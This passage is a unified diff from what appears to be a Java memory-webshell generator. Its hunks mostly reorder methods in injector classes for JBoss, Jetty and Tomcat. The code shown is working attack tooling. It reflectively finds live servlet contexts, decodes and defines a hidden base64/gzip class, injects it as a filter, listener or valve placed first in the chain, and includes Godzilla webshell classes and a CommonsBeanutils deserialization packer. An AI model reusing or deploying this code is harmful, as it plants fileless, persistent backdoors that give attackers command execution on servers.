ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
@SuppressWarnings("all")
public void addListener(Object context, Object listener) throws Exception {
if (!this.isInjected(context, this.getClassName())) {
String filedName = "applicationEventListenersObjects";
Object applicationEventListenersObjects = getFV(context, filedName);
if (applicationEventListenersObjects == null) {
filedName = "applicationEventListenersInstances";
applicationEventListenersObjects = getFV(context, filedName);
}
if (applicationEventListenersObjects != null) {
Object[] appListeners = (Object[]) applicationEventListenersObjects;
if (appListeners != null) {
List appListenerList = new ArrayList(Arrays.asList(appListeners));
appListenerList.add(listener);
setFieldValue(context, filedName, appListenerList.toArray());
}
} else if (getFV(context, "applicationEventListenersList") != null) {
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
if (appListeners != null) {
appListeners.add(listener);
}
}
}
}
@SuppressWarnings("all")
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (Object o : arrayList) {
if (o.getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
@@ -225,4 +134,95 @@ public class JbossListenerInjector {
}
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
}
}
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable ignored) {
}
}
return listener;
}
@SuppressWarnings("all")
public void addListener(Object context, Object listener) throws Exception {
if (!this.isInjected(context, this.getClassName())) {
String filedName = "applicationEventListenersObjects";
Object applicationEventListenersObjects = getFV(context, filedName);
if (applicationEventListenersObjects == null) {
filedName = "applicationEventListenersInstances";
applicationEventListenersObjects = getFV(context, filedName);
}
if (applicationEventListenersObjects != null) {
Object[] appListeners = (Object[]) applicationEventListenersObjects;
if (appListeners != null) {
List appListenerList = new ArrayList(Arrays.asList(appListeners));
appListenerList.add(listener);
setFieldValue(context, filedName, appListenerList.toArray());
}
} else if (getFV(context, "applicationEventListenersList") != null) {
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
if (appListeners != null) {
appListeners.add(listener);
}
}
}
}
@SuppressWarnings("all")
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
ArrayList arrayList = new ArrayList(listeners);
for (Object o : arrayList) {
if (o.getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
}
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
@Override
public void destroy() {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -16,23 +16,11 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector {
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new JettyFilterInjector();
}
public JettyFilterInjector() {
try {
List<Object> contexts = getContext();
@@ -46,30 +34,132 @@ public class JettyFilterInjector {
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public void addFilter(Object context, Object magicFilter) throws Exception {
Class<?> filterClass = magicFilter.getClass();
Object servletHandler = getFV(context, "_servletHandler");
Object servletHandler = getFV(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler)) {
System.out.println("filter is already injected");
return;
}
// 1. 判断是否已经注入
if (isInjected(servletHandler)) {
System.out.println("filter is already injected");
return;
}
Class<?> filterHolderClass = null;
try {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
} catch (ClassNotFoundException e) {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
Class<?> filterHolderClass = null;
try {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
} catch (ClassNotFoundException e) {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 3. 修改Filter的优先级为第一位
// 3. 修改Filter的优先级为第一位
moveFilterToFirst(servletHandler);
try {
@@ -222,95 +312,4 @@ public class JettyFilterInjector {
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -19,19 +19,10 @@ import java.util.zip.GZIPInputStream;
*/
public class JettyListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new JettyListenerInjector();
}
public JettyListenerInjector() {
try {
List<Object> contexts = getContext();
@@ -45,94 +36,6 @@ public class JettyListenerInjector {
}
List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return listener;
}
public static void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
@@ -144,7 +47,6 @@ public class JettyListenerInjector {
}
}
public static boolean isInjected(Object context, String className) throws Exception {
try {
@@ -161,7 +63,6 @@ public class JettyListenerInjector {
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
try {
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
@@ -250,4 +151,99 @@ public class JettyListenerInjector {
}
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return listener;
}
}
@@ -12,13 +12,6 @@ import java.io.ObjectOutputStream;
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
return serialize(payload);
}
@SneakyThrows
public static byte[] serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
@@ -28,4 +21,11 @@ public class DeserializePacker implements Packer {
oos.close();
return baos.toByteArray();
}
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
return serialize(payload);
}
}
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -13,9 +13,9 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
public String paramName = "{{paramName}}";
protected Valve next;
protected boolean asyncSupported;
public String paramName = "{{paramName}}";
public CommandValve() {
}
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
@Override
public void destroy() {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -15,13 +15,13 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
protected Valve next;
protected boolean asyncSupported;
public GodzillaValve() {
}
@@ -30,6 +30,44 @@ public class GodzillaValve extends ClassLoader implements Valve {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
@@ -96,42 +134,4 @@ public class GodzillaValve extends ClassLoader implements Valve {
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
}
@@ -36,18 +36,6 @@ public class TomcatFilterInjector {
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
@@ -72,26 +60,6 @@ public class TomcatFilterInjector {
return out.toByteArray();
}
@SuppressWarnings("all")
public Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@@ -138,6 +106,38 @@ public class TomcatFilterInjector {
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@SuppressWarnings("all")
public Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
